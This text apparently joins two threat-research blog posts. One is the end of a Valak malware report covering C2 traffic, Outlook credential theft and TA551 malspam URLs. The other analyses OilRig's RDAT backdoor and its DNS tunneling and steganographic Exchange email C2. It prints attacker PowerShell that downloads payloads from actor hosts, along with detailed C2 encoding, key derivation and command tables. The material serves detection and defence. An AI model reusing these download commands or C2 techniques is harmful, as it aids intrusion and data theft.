Valak C2 traffic returned encoded ASCII text used to create a follow-up malware EXE.
The follow-up malware EXE was appended to the randomly-named text file in C:\Users\Public using ADS, as shown in Figure 12.
A scheduled task was created to run the follow-up malware EXE once, shortly after it was created, as shown in Figure 13.

The top section of the screenshot shows the AlternateStreamView, appended with ADS for follow-up malware. The lower section of the screenshot shows the text file modified after it first appeared. — Figure 12. Text file in C:\Users\Public\ directory updated with ADS.

In addition to Smart Update Service, the screenshot shows an additional scheduled task to run follow-up malware (WSUPackage...) — Figure 13. Scheduled task to run the follow-up malware.

In our tests, running Valak from a U.S. location on a vulnerable Windows 10 host returned a banking Trojan called IcedID as the follow-up malware. In one case, we saw both IcedID and NetSupport Manager RAT-based malware delivered as follow-up malware on a Windows 7 host from June 2020.

Valak Infection Traffic

The infection starts when a victim enables macros on one of the malicious documents. This usually generates a URL ending with .cab that returns a Windows DLL file. Figure 14 shows a Valak infection from June 24, 2020, filtered in Wireshark to list the HTTP requests and other web-based traffic. The first line shows a URL that ends with .cab. A TCP stream of this activity is shown in Figure 15, and it reveals signs of an EXE or DLL file returned from the server.

This shows a log of traffic from a Valak infection with IcedID as the follow-up malware. — Figure 14. Traffic from a Valak infection with IcedID as the follow-up malware from June 2020 filtered in Wireshark.

Indicators of an EXE or DLL file returned from the server. — Figure 15. TCP stream for the HTTP GET request ending in .cab that returned a Windows DLL file.

Checking the binary in VirusTotal shows this file is a DLL. This DLL is an installer for Valak. Shortly after the initial HTTP traffic for the Valak DLL, we see other HTTP GET requests starting with:

license.jsp?client=
archive.jsp?page=
db.aspx?dfc=

The HTTP requests are Valak C2 traffic, which is sent to decoy domains (non-malicious domains from legitimate organizations) and malicious domains. These domains are listed in the initial Valak script previously shown in Figure 5. For example, for Valak infections from the June 24, 2020, wave, the decoy domains were:

e87.dspb.akamaidege.net
insiderppe.cloudapp.net
pagead46.l.doubleclick.net

Also noted in Figure 5 are the malicious domains from the June 24, 2020, wave of Valak:

thepicklepilot.com
joonaskallinen.com
xfitnessproducts.com

Figure 5 also shows three additional domains from the June 24, 2020, wave of Valak. These domains appear to be fake or possibly placeholders because they were not registered and did not resolve to any IP address.

59xidd-fuel.com
19geds-space.com
55sfors-cask.com

Valak C2 traffic returns data as encoded ASCII text that is decoded on the victim host and saved as malware items like script files, EXE used during the infection and data for registry updates for the Valak infection. Figure 16 shows an example of this traffic.

Figure 16. Valak C2 over HTTP traffic returning ASCII data used to create malware items on the victim host.

In addition to HTTP GET requests, Valak uses HTTP POST requests to exfiltrate certain types of data. In Figures 17 and 18, we see an HTTP POST request starting with class4.aspx?internalService= that sends login credentials used for Microsoft Outlook from an infected Windows host.

HTTP POST request seen on a Valak-infected Windows host with Outlook — Figure 17. Valak infection traffic filtered in Wireshark showing an HTTP POST request from the C2 traffic.

The screenshot shows login credentials of email account used for Microsoft Outlook on the infected Windows host. It also shows a base64 string that translates to Outlook login credentials of the Valak-infected host. — Figure 18. TCP stream of the HTTP POST request showing a base64 string containing Outlook login credentials of the infected host.

We primarily see IcedID as follow-up malware from the Valak infections generated from U.S. locations. Figure 19 shows indicators of IcedID during the Valak infection traffic.

IcedID traffic during the Valak infection (malicious domains noted by the arrows in the screenshot) — Figure 19. Indicators of IcedID as the follow-up malware during this Valak infection.

Recent Developments

As Valak has developed, we have noticed increased obfuscation in the Valak configuration script. This obfuscation finds its way into other script and Windows registry updates used to keep the infection persistent. Figure 20 shows configuration script from June 23, 2020, using Valak software version 40. Figure 21 shows configuration script from June 24, 2020, using Valak software version 41. Note how variable names and some of the values were obfuscated when Valak changed from version 40 to version 41.

Valak configuration script from June 23, 2020, shows software (Valak) signature, software (Valak) version, and variable names and values in plain text. — Figure 20. Valak version 40 configuration script with variable names and values in plain text.

A Valak configuration script from June 24, 2020, shows software (Valak) signature, software (Valak) version, and variable names and values now using encoded strings. — Figure 21. Valak version 41 configuration script with variable names and some values using obfuscated text.

Like most obfuscation, this is likely an attempt to evade detection. As the weeks and months progress, we predict further obfuscation in Valak’s configuration script and related files.

Shathak/TA551 Distribution

Shathak or TA551 is the name some security researchers have given to a specific distribution method that uses password-protected ZIP archives as attachments to malspam. The distribution network may be associated with Russian cybercriminals. It has used Word document templates targeting English-, Italian-, German- and Japanese-speaking recipients. Shathak/TA551 has been active at least as early as February 2019.

Shathak/TA551 distribution has the following characteristics:

Malspam spoofs legitimate email chains based on mailbox data retrieved from previously-infected Windows hosts. It sends copies of these email chains to senders and recipients from the original email chain.
The spoofed email chain includes a short message as the most recent item in the chain. This item is a generic message that instructs recipients to open an attached ZIP archive using a supplied password.
The password-protected ZIP attachments contain a Microsoft Word document with macros to install malware. See Appendix A for examples of these Word documents from June 2020.
The macros usually generate a URL ending in .cab to retrieve a binary that installs malware. This binary is currently a DLL file. Appendix B lists examples of URLs from this campaign.
Prior to April 2020, the most common malware caused by Word documents associated with Shathak/TA551 was Ursnif.
Since April 2020, the most common malware distributed by these Word documents has been Valak. Appendix C lists a series of Valak DLL examples from June 2020.
Since May 2020, passwords used for the ZIP attachments appear to be unique to each recipient.

To get an idea of traffic patterns associated with Shathak/TA551, recent examples of URLs generated by the associated Word macros follow (Read: Date - URL).

2020-05-26 - hxxp://c1j4xptyujjpyt8[.]com/gg88wyaftcxr7gu/wo0zz.php?l=sfzs9.cab
2020-05-27 - hxxp://ft23fpcu5yabw2[.]com/alfh/xzrn.php?l=lfahe9.cab
2020-06-03 - hxxp://awh93dhkylps5ulnq-be[.]com/czwih/fxla.php?l=gap1.cab
2020-06-09 - hxxp://a4zy33hbmhxx70w9q[.]com/hdil/kzex.php?l=soub12.cab
2020-06-10 - hxxp://kzex9vp0jfw6a8up1[.]com/hdil/kzex.php?l=phin1.cab
2020-06-22 - hxxp://5u2mr[.]com/unbbmevd/d76.php?l=oev1.cab
2020-06-23 - hxxp://fepz41[.]com/unbbmevd/d76.php?l=ynetz11.cab
2020-06-24 - hxxp://mbzrrt[.]com/unbbmevd/d76.php?l=ftywl4.cab
2020-06-26 - hxxp://ofxvp[.]com/unbbmevd/d76.php?l=wozmbl9.cab
2020-07-06 - hxxp://eto9ve1[.]com/iz5/yaca.php?l=tze7.cab

As noted previously, Appendix B provides more examples of these URLs generated by Word macros associated with Shathak/TA551.

Figures 22-30 provide screenshots with selected examples of malspam and the extracted Word documents associated with Shathak/TA551. These images illustrate how the Shathak/TA551 distribution has evolved since February 2019.

Screenshot reads: "Good Morning, Please see the attached proposal!" It continues by offering a zip password and closeout. The extracted document, request 11, opens with a message attempting to trick the user into enabling macros. — Figure 22. Shathak/TA551 malspam to an English-speaking recipient from February 4, 2019.

Screenshot reads: "Buongiorno, Vedi allegato e di confermare." It continues by offering a zip password and closeout. The extracted document, doc_02.04, opens with a message attempting to trick the user into enabling macros. — Figure 23. Shathak/TA551 malspam to an Italian-speaking recipient from April 2, 2019.

Screenshot reads: "Good morning, Please see attached and confirm." It continues by offering a zip password and closeout. The extracted document, info_07.22, opens with a message attempting to trick the user into enabling macros. — Figure 24. Shathak/TA551 malspam to an English-speaking recipient from July 22, 2019.

Screenshot reads: "Guten Morgen, siehe Anhang." It continues by offering a zip password and closeout. The extracted document, info_10.30, opens with a message attempting to trick the user into enabling macros. — Figure 25. Shathak/TA551 malspam to a German-speaking recipient from October 30, 2019.

Screenshot includes a Japanese-language greeting. It continues by offering a zip password and closeout. The extracted document, info_12_18, opens with a message attempting to trick the user into enabling macros. — Figure 26. Shathak/TA551 malspam to a Japanese-speaking recipient from December 17, 2019.

Screenshot reads: "Guten Morgen, Siehen Sie bitte die beigefugle Datei." It continues by offering a zip password and closeout. The extracted document, information_03.26, opens with a message attempting to trick the user into enabling macros. — Figure 27. Shathak/TA551 malspam to a German-speaking recipient from March 26, 2020.

Screenshot reads: "Please see the attached document." It continues by offering a zip password and closeout. The Zip archive includes many documents, which when extracted, open with a message attempting to trick the user into enabling macros. — Figure 28. Shathak/TA551 malspam to an English-speaking recipient from April 28, 2020.

Screenshot reads: "Good Morning, Please see the attached document." It continues by offering a zip password and closeout. The Zip archive includes many documents, which when extracted, open with a message attempting to trick the user into enabling macros. — Figure 29. Shathak/TA551 malspam to an English-speaking recipient from May 22, 2020.

Figure 30. Shathak/TA551 malspam to a German-speaking recipient from May 26, 2020.

This distribution network has generally pushed Ursnif in previous years, but since late April 2020, we’ve most often seen Valak from Shathak/TA551. In some cases, we still see Ursnif from this distribution, which recently happened on June 10, 2020, and July 7, 2020.

Conclusion

As we enter the second half of 2020, Valak shows no signs of slowing down. We expect to see further waves of malspam from Shathak/TA551 distribution pushing Word documents with macros for Valak.

Due to its complex infection process that relies in part on registry updates with malware code, Valak can easily infect an unprotected Windows host. With ADS used to hide follow-up malware from a Valak infection, the risk is greatly increased.

However, security best practices like running fully patched and up-to-date versions of Microsoft Windows will hinder or prevent Valak infections. Palo Alto Networks customers are further protected from Valak by our Threat Prevention subscription for the Next-Generation Firewall. AutoFocus users can search for Valak activity by using the Valak tag.

Appendix A

Examples of SHA256 file hashes along with the associated file names for Word documents from Shathak/TA551 distribution during June 2020. Information available at: https://raw.githubusercontent.com/pan-unit42/iocs/master/Valak/2020-June-SHA256-hashes-of-Word-docs-from-Shathak-TA551-distribution.txt

Appendix B

Examples of URLs generated by Word documents associated with Shathak/TA551. Information available at: https://raw.githubusercontent.com/pan-unit42/iocs/master/Valak/2020-03-23-to-2020-07-07-TA551-traffic-pattern-history-since-Valak.txt

Appendix C

Examples of SHA256 file hashes for Valak DLL files seen from Shathak/TA551 distribution during June 2020. Information available at: https://raw.githubusercontent.com/pan-unit42/iocs/master/Valak/2020-June-SHA256-hashes-of-Valak-DLL-files-from-Shathak-TA551-distribution.txt

OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory

Posted on July 22, 2020August 1, 2024 by Robert Falcone

Executive Summary

While analyzing an attack against a Middle Eastern telecommunications organization, we discovered a variant of an OilRig-associated tool we call RDAT using a novel email-based command and control (C2) channel that relied on a technique known as steganography to hide commands and data within bitmap images attached to emails.

In May 2020, Symantec published research on the Greenbug group targeting telecommunications organizations in Southeast Asia, involving attacks made as recently as April 2020. We observed similar tactics and tools associated with attacks on a telecommunications organization in the Middle East in April 2020, specifically using custom Mimikatz tools, Bitvise, PowerShell downloaders and a custom backdoor we track as RDAT. Unit 42 has previously linked Greenbug to OilRig, a threat group we discovered in 2015. We had first seen the RDAT tool used in OilRig's operations back in 2017, but we later found a related sample created in 2018 that used a different command and control channel. When we analyzed this sample, we found a novel email-based C2 channel used in combination with steganography to exfiltrate data.

We have been tracking RDAT since 2017, when we first saw this tool uploaded to a webshell related to the TwoFace webshell discussed in our Striking Oil blog published on September 26, 2017. RDAT has been under active development since 2017, resulting in multiple variations of the tool that rely on both HTTP and DNS tunneling for C2 communications. In June 2018, the developer of RDAT added the ability to use Exchange Web Services (EWS) to send and receive emails for C2 communications. This email-based C2 channel is novel in its design, as it relies on steganography to hide commands and exfiltrates data within BMP images attached to the emails. The combination of using emails with steganographic images to carry the data across the C2 can result in this activity being much more difficult to detect and allow for higher chances of defense evasion.

Palo Alto Networks customers are protected by WildFire and Cortex XDR, which identifies all RDAT samples as malicious, as well as DNS Security and URL Filtering, which identifies and blocks the C2 activity.

Attack Details

We first discovered the existence of RDAT on October 7, 2017, when we observed it being uploaded to a webshell 11 days after we had published our research exposing webshell activity by this adversary. We believe the group attempted to use the RDAT payload for continued access to the server once the use of the webshell was exposed.

In April 2020, we observed activity involving the potential breach of a telecommunications organization in the Middle East. The files associated with this activity included custom Mimikatz samples for dumping credentials, a sample of the Bitvise client we believe was used to create SSH tunnels, and a custom backdoor called RDAT. From the initial RDAT sample we collected, we were able to expand the sample set and relate previously seen ISMDOOR samples as well. Given the combination of the use of RDAT in OilRig-related webshells, code similarities and tactical similarities, we are confident RDAT is a tool deployed by OilRig.

Two of the related tools collected had PDB paths similar to ones we had seen in the past. The PDB paths were C:\Users\Void\Desktop\dns\client\x64\Release\client.pdb and C:\Users\Void\Desktop\RDAT\client\x64\Release\client.pdb, the latter of which is the basis of the tool name. Using the file path of the user in the PDB string of C:\Users\Void\Desktop as shown in Figure 1, we gathered over a dozen samples with that file path, with most of the samples identified as a known OilRig tool called ISMDOOR. Considering the small cluster of related tools, it is highly likely these have been developed by a single adversary or adversary group with control over the codebase.

Figure 1. Pivots from PDB strings

We also observed PowerShell downloaders attempting to retrieve files from the domain digi.shanx[.]icu.

Figure 2. PowerShell and infrastructure overlaps

In Symantec’s Greenbug report, once the adversary gained interactive access to target hosts, they were observed executing PowerShell commands to perform post-exploitation activities. In one instance, a Powershell script was executed to retrieve RDAT from the C2 apps.vvvnews[.]com, save it to C:\Programdata\Nt.dat, and move it to C:\Programdata\Vmware\VMware.exe as seen in the following snippet:

(New-Object System.Net.WebClient).DownloadFile('http://apps[.]vvvnews .com:8080/Yf.dat', 'C:\Programdata\Nt.dat');

move C:\Programdata\Nt.dat C:\Programdata\Vmware\VMware.exe -force;

During our research, we collected a very similar PowerShell script using a different C2 and with some variations in commands, but with the same file path of C:\Programdata\Nt.dat:

$WebClient = New-Object System.Net.WebClient; $WebProxy = New-Object System.Net.WebProxy('http://192.168.3.4:8080',$true); $WebClient.Proxy = $WebProxy;Try {$WebClient.DownloadFile('http://digi.shanx[.]icu:8080/Nt.dat','C:\Programdata\Nt.dat')} Catch {$_.Exception.Message | out-file C:\Programdata\Exceptions.dat};

Unfortunately, we could not verify the contents of Nt.dat due to the C2 server http://digi.shanx[.]icu:8080 being unavailable at the time of analysis.

RDAT Backdoor

The adversaries compiled the RDAT payloads used in the attacks on the Middle Eastern telecommunications organization on March 1, 2020, and configured it to use a domain provided on the command line or the hardcoded domain rsshay[.]com as its C2 server. Unlike previous RDAT samples, this particular sample only uses DNS tunneling for its C2 communications with no HTTP fallback channel. This RDAT sample can only use TXT queries in its DNS tunnel and will issue queries structured like the following:

The encoded data portion of the subdomain is encoded base32 if the actor includes a command line argument 1 – otherwise, it uses base64. The payload also substitutes characters within the base64 encoded subdomain to avoid including characters that are not allowed in domain names, such as = with -, / with _ and + with -a. For example, we observed the following beacon during our testing:

91mzXgXT-a9sLktr-aOz8pAw--.0R2.rsshay[.]com

The encoded data in the beacon (subdomain) is ciphertext generated using AES and a 16-byte key generated by concatenating two randomly chosen alphanumeric characters that are also present in the subdomain immediately before the C2 domain. For instance, if the two random alphanumeric characters included in the subdomain were R2, the payload would use the string R2R2R2R2R2R2R2R2 as a key to encrypt the data. The example beacon above would decrypt to 1,6,1.0_Y,2619, which is structured as follows:

The payload decodes the response for an answer to the TXT query with base64 and decrypts using the same AES cipher and key as the request. The payload attempts to parse the decrypted cleartext using the regular expression “[^,]+” to get the command value and the command arguments that are split with a comma. The payload then checks the command value using a command handler that has the ability to execute commands and upload and download files, as seen in Table 1.

Command	Description
0	Idle.
1	Run specified command. Creates write and read pipes to issue the command and read the output and sends the results to the C2 over the DNS tunnel.
2	Uploads a file to the C2 by reading in a specified file and sending its contents over the DNS tunnel in chunks.
3	Downloads a file via the DNS tunnel.

Table 1. Commands available in RDAT

Related RDAT

During our research, we gathered several additional samples by pivoting on the contents of the executables and other various attributes. Table 2 shows when these samples were compiled, their respective C2 server and the service name they use when the actor installs them on the compromised system. As shown by the compilation times, this tool has been in development since 2017, with the most recent sample we collected being compiled in April 2020. The sample compiled in August 2017 was uploaded to a webshell related to TwoFace, while the samples compiled in March 2020 were used in the attack on the Middle Eastern telecommunications organization. The RDAT sample compiled in April 2020 was also delivered to the same telecommunications organization, which was configured to use new infrastructure (sharjatv[.]com, wwmal[.]com) and supported both DNS A and AAAA records for its DNS tunneling C2 channel.

The most interesting sample we discovered was compiled on July 24, 2018. This sample included a novel C2 channel that used the Exchange Web Services (EWS) API to send and receive emails containing steganographic images as attachments. This novel C2 channel supplemented the HTTP and DNS tunneling C2 channels seen in other RDAT samples, all of which we will discuss in detail in the upcoming sections.

SHA256	Compiled	C2	Service Name
7395a3ada245..	2017-08-07	Provided as argument	Service
8f943bc5b205..	2018-03-13	Provided as argument	My Sample Service
8120849fbe85..	2018-07-24	allsecpackupdater[.]com tacsent[.]com koko@acrlee[.]com h76y@acrlee[.]com	N/A
bcdb63b3520e..	2018-08-27	Provided as argument	N/A
f42c2b40574d..	2018-09-09	Provided as argument	My Sample Service
fcabb86331cd..	2018-09-09	Provided as argument	My Sample Service
7b5042d3f0e9..	2019-09-17	Provided as argument	Windows Video Service
ee32bde60d11..	2019-11-04	Provided as argument	N/A
de3f1cc2d4aa..	2019-11-11	Provided as argument	My Sample Service
4ea6da6b35c4..	2020-03-01	rsshay[.]com	Windows Video Service
acb50b02ab0c..	2020-03-01	rdmsi[.]com	Windows Video Service
55282007716b..	2020-03-01	rdmsi[.]com	Windows Video Service
ba380e589261..	2020-03-01	rsshay[.]com	Windows Video Service
6322cacf839b..	2020-04-04	sharjatv[.]com wwmal[.]com	My Sample Service

Table 2. Related RDAT samples

Novel C2 Using Exchange Web Services and Steganography

The novel C2 channel in the RDAT sample uses email for a C2 channel by interacting with the local Exchange server with the EWS API. There are two hardcoded actor-controlled email addresses: koko@acrlee[.]com and h76y@acrlee[.]com. These two email addresses are used by the RDAT payload to send and receive emails to facilitate C2. To send emails from the compromised host, the payload uses the email associated with the account logged into the compromised host, as it uses the WinHTTP library to make requests to the API with the "WINHTTP_OPTION_AUTOLOGON_POLICY" field set to 'WINHTTP_AUTOLOGON_SECURITY_LEVEL_LOW', which automatically attempts to log onto Exchange using the default credentials.

The actor communicates with the payload by sending emails from one of two email addresses to the email address of the compromised account. To receive emails from the actor, the payload will:

Initially create an inbox rule to move actor’s emails to the junk folder.
Continually look in the junk folder for actor-sent emails that have attachments.
Process attachments for inbound commands hidden within BMP images.

To communicate with the actor, the payload sends emails from the account logged into the compromised system and performs the following actions:

Creates a draft email with the actor-controlled email address in the “To” field.
Attaches a BMP image with a hidden message or data to exfiltrate to the draft.
Sends the draft to the actor’s email address.

To show this channel, we analyzed the outbound HTTP POST requests to the EWS API and took screenshots of the requests. The POST requests all have an anomalous “User-Agent” of “firefox” and use Simple Object Access Protocol (SOAP) messages to interact with the Exchange server. The first request has a SOAP message to create an inbox rule named "ExchangeRule" that moves all inbound emails from the C2 email addresses to the "junkemail" folder. Figure 3 shows the HTTP POST request containing the SOAP message that creates this inbox rule. The rule name is highlighted in the red box, the condition that includes the actor’s email address in the blue box and the action to move it to the junk folder in the green box.

Figure 3. HTTP POST request creating the inbox rule to move emails from actor to the junk folder

The payload will then continually look for new emails from the actor in the junk folder. The payload will issue a request to the EWS API to check for unread emails from the actor’s email addresses with an attachment. Figure 4 shows the HTTP POST the payload issues to check for inbound emails from the actor, with the actor’s email address in the red box, the check for an attachment in the blue box and the junk folder specified in the green box.

Figure 4. HTTP POST request sent to the Exchange server looking for inbound emails from actor

If the payload obtains an email sent by the actor, the payload will process the response to the SOAP request and send additional requests to the EWS API to get the email, the attachment and the contents of the attachment. The payload processes the responses to these requests using regular expressions to find specified values within the XML. The payload uses the regular expressions to find the following values within the server’s response:

Id and ChangeKey to get the specified email.
AttachmentId Id to get the attachment from the email.
<t:Content> and </t:Content> to get the contents of the attachment.

It then saves this content to a file in the %TEMP% folder with a ".bmp" file extension. It then issues a SOAP request to delete the processed email. This completes the process in which the payload receives inbound communications from the actor.

To send its beacon and exfiltrate data to the actor, the payload will interact with the EWS API to perform the following three steps:

Save a draft email with the actor’s email address in the “To” field.
Attach the BMP image containing the hidden data to the saved draft email.
Send the saved draft email.

Figure 5 shows the draft email with the BMP image attached immediately prior to being sent. The figure shows the actor’s email address in the “To” field, the BMP image with hidden data as the attachment, and subjects and message bodies containing strings of an unknown purpose.

Figure 5. Screenshot of Outlook Web App showing the email draft created by the payload prior to it being sent to the actor

To carry out this functionality, the payload creates an email and saves it as a draft. This allows it to attach the image containing the hidden data prior to sending the email. Figure 6 shows the SOAP request to the EWS API, specifying that the server should save the email to the drafts folder in the red and blue boxes and the actor’s email address in the green box.

Figure 6. HTTP POST request creating the email draft prior to attaching the image

With the email saved in the drafts folder, the payload will then attach the BMP image to the email using an HTTP POST request to the EWS API. Figure 7 shows the request to the EWS API that includes the filename of the attachment in the red box and the base64 content of the attachment in the blue box.

Figure 7. HTTP POST request attaching the image to the email draft

The payload issues one last request to the EWS API to send the email draft with the attached BMP image to the actor. Figure 8 shows the HTTP POST request issued by the payload to send the email with the SendItem action highlighted in the red box.

Figure 8. HTTP POST request sending the email draft to the actor’s email address

Hiding Data with Steganography

The payload will receive data from and exfiltrate data to the C2 within email attachments, specifically within the BMP images that use steganography to hide the data within the image. The method with which the payload extracts data from the BMP image to receive data from the C2 is the same as its method for hiding data to exfiltrate. While we did not observe the C2 using this method to send commands, we were able to analyze the payload to determine how it would send messages and exfiltrate data from the system.

To send data using this C2 channel, the payload will read the following image available on a default install of Windows:

C:\ProgramData\Microsoft\User Account Pictures\guest.bmp

Depending on the version of Windows, the “guest.bmp” image differs in size and contents.The image from Windows 7 is 128x128 pixels and contains an image of a suitcase, while the Windows 10 image is 448x448 pixels and contains a generic user icon. Figure 9 shows the two images extracted from default installations of Windows 7 and 10 with the latter scaled down in size.

Figure 9. The “guest.bmp” image from Windows 7 on the left and Windows 10 on the right

The payload determines the height, width and color depth of the image and calculates how many images it will need to modify to send the entirety of the data:

(length of data)/(width*(height-1))

It uses the modulo operator to check if there is data that does not fit in the previous image and will add one to the required image count if leftover data exists. The payload then iterates through the data by grabbing a substring of the data that will fit within the image.

To explain how the payload hides data within this image, we must first briefly explain the BMP file format. The BMP file format includes file headers and an array of values used to store the red, green and blue color values of each pixel in the image. The format of each color value in the array of color values varies depending on the color depth, as 24-bit BMP images will use 3-byte values that are used to specify the intensities of red, blue and green colors for each pixel in the image, while 32-bit images use 4-byte values. The RDAT payload can support both 24- and 32-bit images. Since both “guest.bmp” images from Windows 7 and 10 are 24-bit images, we observed the payload using the 3-byte color values for each pixel to hide data. The payload will modify each pixel’s 3-bytes to transmit one byte of exfiltrated data. By spreading the data byte over the 3-bytes for each pixel, the impact on the original image is minor and difficult to visualize. Figure 10 compares the original image from Windows 7 and the modified image carrying the hidden data.

Figure 10. Original “guest.bmp” image from Windows 7 on the left and the modified carrier image on the right

Figure 10 shows how difficult it is to see the hidden data embedded within the BMP image. We zoomed in on the 29 pixels modified to carry the data to visualize the differences and found that they differed slightly in color, as seen in the comparison in Figure 11. All the pixels in the two images are different. However, some of the differences in color are more obvious than others.

Figure 11. This zoomed-in view shows the original pixels on top and pixels carrying 29-bytes of data on the bottom

To hide the data within the image, the payload will check the color depth of the “guest.bmp” image for either 24- or 32-bit depth, which allows the payload to determine how many bytes per pixel it will need to spread the bits of the hidden data across. For instance, a 24-bit BMP image like "guest.bmp" from Windows 7, seen in Figure 10 above, will have three bytes per pixel in the image that represents the red, green and blue values for that pixel. Using this 24-bit image, the payload will spread the 8-bits of the data byte across these three bytes, specifically by setting the least significant bit values in the pixel bytes to the bit values of the data byte.

Let's use the example data 8,54351-1616479009,0 from a beacon sent from the payload to the C2, which it will encode using base64 to OCw1NDM1MS0xNjE2NDc5MDA5LDA=, append the @ symbol and embed within a BMP image. The O ASCII character has a hexadecimal value of 0x4f, which is 01001111 in base2. The 8-bits of this base2 representation are then used to set specific bits within the 3-bytes for each pixel:

Data bits 0 and 1 replacing the first pixel byte's bits 1 and 0.
Data bits 2, 3 and 4 replacing the second pixel byte’s bits 2, 1 and 0.
Data bits 5, 6 and 7 replacing the third pixel byte's bits 2, 1 and 0.

Using this logic, the payload will read the pixel bytes from the “guest.bmp” image, which is 0xe4, 0xdf and 0xb9 and replace the following bits using the base2 of 010 011 11 for O:

Replace bits 2, 1 and 0 within 0xe4 with 010, which results in 0xe2.
Replace bits 2, 1 and 0 within 0xdf with 110, which results in 0xde.
Replace bits 1 and 0 within 0xb9 with 11, which results in 0xbb.

Figure 12 below shows how these bit replacements occur and how the replacements ultimately change the values of the pixel's bytes.

Figure 12. Visual explanation of the bit replacement performed on each pixel to hide data in the BMP images

HTTP and DNS Tunneling C2 Channels

The RDAT sample with the novel EWS C2 channel also had HTTP and DNS tunneling as C2 channels as well, which are very similar to other RDAT samples we collected. The HTTP C2 channel uses HTTP POST requests to transmit data to the C2 server. The code contains the following two domains:

allsecpackupdater[.]com

tacsent[.]com

It should be noted that the code only attempts to use the tacsent[.]com domain for its HTTP C2 channel. We are unsure why the code contains the allsecpackupdater[.]com domain as it does not attempt to communicate with it, but it is possible that it is an artifact from a previous version of the tool. This domain was previously tied to the OilRig threat group, as ClearSky discovered this domain in 2017 and noted its relation to Greenbug’s ISMDOOR tool.

The HTTP POST requests have a custom "From:" field in the header that has a unique identifier assigned to the infected system. The HTTP POST request will contain a "v" parameter and a random number in the URL and a user-agent of "chrome." Figure 13 shows an example of an HTTP POST issued by the payload as its initial beacon to the C2, which shows the anomalous user-agent “chrome” and custom “From” field.

Figure 13. Initial beacon sent by RDAT sample over its HTTP C2 channel

The payload encrypts the data sent in the POST request using the AES cipher, specifically in CBC mode. To decrypt this data, the data itself is first converted from the URL-safe hexadecimal percent encoded characters to their /, + and = character equivalent. After this conversion, the resulting data is decoded using base64 and then decrypted using AES and the value in the From field as a key and initialization vector (IV). For instance, using the From value for the key and IV to decrypt the POST data with the AES cipher produces the following cleartext:

1,1543511637567325,12031\x08\x08\x08\x08\x08\x08\x08\x08

The payload will check the C2 server's response to this HTTP POST for a , using a regular expression [^,]+ to determine if the C2 provided a command. The payload can only exfiltrate 102,400 bytes of data at a time, which it uses a field in the exfiltrated response to notify the C2 of the offset of the data so the C2 can reconstruct it.

The DNS tunneling protocol is very similar to the protocol discussed earlier in this blog, as it uses the second level subdomain for its AES key but uses four characters instead of two. It also uses the same character replacement of = with -, / with _ and + with -a to remove characters that are not allowed in domain names, as did the RDAT sample used in the attacks on the Middle Eastern telecommunications organization. The DNS tunnel for this sample used DNS A record queries and the same domain as the HTTP C2 channel, which generates an initial beacon that will resemble the following:

P9rktZsukI5RVAdZWSR-a6uVYKeQJ-azhVLzUUfGs1TDQ-.fN26.tacsent[.]com

To decrypt this beacon, the C2 uses the second level subdomain to create an AES key and IV of fN26fN26fN26fN26, which is the second-level domain used four times to create a 16-byte string. The resulting cleartext would contain the following message, which is a comma-separated string that includes communication type and a unique system identifier:

3,1543511637567325,0\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c

To exfiltrate data using this DNS tunneling protocol, the payload will add additional subdomains to query, specifically a field for the data sequence number and a field for the exfiltrated data. For instance, the following DNS query sends system information to the C2:

1.44gkxXizTF3QJU0F2AllV_0qhr1xcYmy8GeMB6nnGNSw0bls7JpP0zIqvnyO.xEZlrurmSHgf

uoAcqi9blguWDzwH9oQCWZ-aTeBSBE2M-.tJ8z.tacsent[.]com

The fifth-level subdomain is a data sequence number that allows the C2 server to reassemble the data, which will start with 1 and increment by 60 as the DNS tunneling protocol sends 60-bytes of encoded ciphertext within each DNS request. The fourth-level subdomain contains the 60-bytes of encoded ciphertext that RDAT sends to the C2, while the third- and second-level subdomains are the same as the beacon. In the above example, the AES key and IV would be tJ8ztJ8ztJ8ztJ8z, which would decrypt the third-level subdomain to the following cleartext:

2,1543511637567325,0\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c

Using the same AES key and IV, the cleartext in the fourth-level subdomain includes the system information, which in the above example would produce:

1:|2:MicrosoftWindows7Professionw\x01

Regardless of the C2 channel used, the RDAT sample parses responses using a command handler to determine the course of action to take. Table 3 shows the commands available within the command handler, as well as the structure of the response message the payload would send to the C2. The command handler in this RDAT sample has more capabilities compared to the three commands available in the sample seen in the attacks on the Middle Eastern telecommunications organization.

Command Structure	Response structure	Description
0,		Idle.
1,<task number>,<base64 encoded command to execute>	2,<16-char system identifier>,<task number>,<base64 encoded results>,<offset in data>,<total data length>	Executes command using "cmd.exe /c"
2,<task number>,<cleartext filename>	3,<16-char system identifier>,<task number>,<base64 encoded file contents>,<offset in data>,<total data length>	Uploads a specified file from the system.
3,<task number>,<filename>,<file size>	4,<16-char system identifier>,<task number>,<offset in data>,<random number>	Downloads a file from the C2 response to a temporary file named %TEMP%\tmp<random number>. Downloads 81,920 bytes at a time by sending HTTP POST requests with a communications type of "4" with the offset in the data it wishes to receive and parsing the response for data it will write to the file. Payload then opens the file, base64 decodes and decrypts its contents with AES CBC. Sends "-1" as the offset to C2 to notify the C2 that it decoded/decrypted the temporary file and wrote it to the specified file.
5,<task number>	6,<16-char system identifier>,<task number>,<base64 encoded screenshot>,<unk, size?>	Takes a screenshot, encodes it as a JPEG, base64 encodes the JPEG image.
6,<task number>	7,<16-char system identifier>,<task number>,"<EOF>"	Kills the payload's process and reruns it using the "-r" command line switch by running the following on the command line: taskkill /f /pid <current PID> && <current executable path>
7,<task number>	7,<16-char system identifier>,<task number>,"<EOF>"	Uninstalls the payload by running the following on the command line: taskkill /f /pid <current PID> && del /f <current executable path>

Table 3. Commands available within the RDAT sample that used the novel EWS C2 channel

Conclusion

The RDAT backdoor has been used by the OilRig threat group for at least three years to target organizations in the Middle East, with the most recent known activity occurring in April 2020 against a telecommunications organization. Over the course of three years, this tool has received continued development efforts that have resulted in multiple variations with differences in functionality and available C2 channels. The majority of samples used some combination of HTTP and DNS tunneling channels, with the single exception where we discovered the developer leveraging Exchange Web Services to send and receive emails to and from the actor using steganographic image file attachments. The use of a novel C2 channel in combination with steganography shows the continued evolution and development of different tactics and techniques by this adversary over time.

Palo Alto Networks customers are protected in the following ways:

All RDAT samples have malicious verdicts in WildFire and have protections in place through Cortex XDR.
DNS tunneling protocols used for C2 communications are blocked via DNS Security.
All C2 domains are classified as Command-and-Control for URL Filtering.
